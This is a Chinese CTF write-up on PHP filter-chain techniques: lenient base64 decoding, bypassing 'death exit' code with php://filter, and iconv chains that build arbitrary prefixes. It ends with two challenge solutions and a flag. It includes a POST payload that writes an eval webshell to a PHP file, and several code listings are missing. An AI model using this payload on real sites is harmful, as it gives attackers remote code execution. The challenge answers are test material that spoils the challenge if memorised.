Base64编码字符表如下,编码过后的字符只能在下面范围内选(还有等号”=”)
Base64编码是从3->4的编码,也就是从三个字节变成四个字节的过程,假如编码字符总数不是3或者不是3的倍数,空缺部分会用”=”补齐,例如:
rev1ve => cmV2MXZl
rev1ve1 => cmV2MXZlMQ==
这两个例子符合我们所说的规则,第一个由3变成4,第二个是4(不是3的倍数)因此最后字符数字为8,有2个等号进行补齐了,很简单的原理
解码也就是编码的逆过程,理所当然就是4->3的过程。而且当我们把补齐的等号去除后,依然可以成功解码,比如cmV2MXZlMQ => rev1ve1
。上面我们提到了有效字符,假如需要解码的字符串中包含无效字符,那么就会忽略掉那些字符,只对有效字符进行解码,这是base64的一个特性,这里叫他宽松性。也就是说cm rev1ve
无效字符不会进行解码,在之前讲的file_put_contents与死亡代码中我们就用到了这一特性
源码
';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。我们
利用编码的方式,将死亡代码解码成乱码来绕过
这里我们以base64编码为例,我们目的是写马,将其base64编码一下
txt=PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+&filename=php://filter/write=convert.base64-decode/resource=1.php
拼接上前面的死亡代码,得到如下
PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+
但是我们base64解码会发现出现乱码,如何解决呢
由于base64解码是4个字节为一组,那么去除掉不可见字符 ;
后,我们需要手动添加一个a,组成phpe xita
使得绕过死亡代码
而今天我们要说的filterChain也和iconv中的编码有关。iconv -l可以查看本地的iconv编码
我们可以在linux上测试下,demo如下
运行结果如下
经过从UTF-8->CSISO2022KR后,我们发现长度为7个字节,但是只显示Cbbb。我们拿去解码一下,发现剩下的为不可见字符
在这里就要介绍filter第一个特性了,也就是强制显示(这一点是根据Decoding阶段忽略无效字符得出的)
而第二条数据我们可以看到经过convert.base64-decode后长度为3个字节,因为虽然第一条数据长度为7,但是可见字符长度为4,符合3->4
。
再看第三条数据,解码完再编码结果仍为Cbbb
,也就是说去除了像第一条数据的CSISO2022KR的字符,所以也符合4->3
。这就是去杂,同时还构造出了一个字符C
测试代码如下
分析一下
那么如果能构造26个字母以及所有数字,是不是理论上就可以通过这个filterchain获取任意的语句了?
这就是粘合性:构造出的字符可以拼贴在一起
下面推荐两个工具
地址
使用方法
比如题目要求我们的字符串中的第0个位置出现FREE
为了满足base64解码要求,添加bb组成3的倍数
地址
我们只需要修改Generator.py中的代码即可
# set your parameter
file_to_use = "flag"
str_to_gerenate = "FREEbb"
然后python Generator.py
即可
给了附件,其中encode后面多空格去掉先
然后运行发现报错,我们把最后面的decode去掉
得到一串字符串(说明字符串长度不为4的倍数报错)
NssssCTFeyAgphhpRmlsdGVyQ2hhMW5fW4sS0FunICB9GyQp
我们手动分组
Nsss sCTF eyAg phhp Rmls dGVy Q2hh MW5f W4sS 0Fun ICB9 GyQp
对部分解码
eyAg -> {
phhp
RmlsdGVyQ2hhMW5f -> FilterCha1n_
W4sS0Fun
ICB9-> }
得到flag
NssssCTF{phhpFilterCha1n_W4sS0Fun}
题目是白盒,代码如下
$article_content";
die();
}
else {
die('nothing here');
}
}
?>
//省略部分代码
关键就是如何实现if (strpos($article_content, 'FREE') === 0)
,我们就利用工具二去构造,首先要出现FREE,其次也要满足是3的倍数
得到flag